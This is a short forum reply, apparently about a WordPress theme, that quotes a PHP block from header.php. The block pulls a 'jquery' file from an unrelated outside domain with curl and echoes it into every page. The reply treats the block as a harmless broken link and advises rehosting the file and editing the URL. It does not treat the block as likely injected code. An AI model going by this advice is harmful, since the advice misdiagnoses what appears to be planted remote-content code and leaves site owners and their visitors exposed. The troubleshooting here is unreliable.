Had same problem and this fixed it for me. In my case the problem was in the header.php of some themes, not any plugins. Try this:
1. search for this code section
———————————
<?php
if(function_exists(‘curl_init’))
{
$url = “https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js”;
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo “$data”;
}
?>
————————————
2. The problem is that the reference to the jquery file in no longer valid. So download it (the uncompressed version) yourself from their site: https://blog.jquery.com/2011/09/01/jquery-1-6-3-released/
3. Upload it to your own site then change the url:
a. https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js
to
b. https://www.*.*/*/jquery-1.6.3.min.js (replacing asterixes with your own valid website info from your uploaded file.
4. Refresh to test your page. The message should not longer be there.
Hope that helps!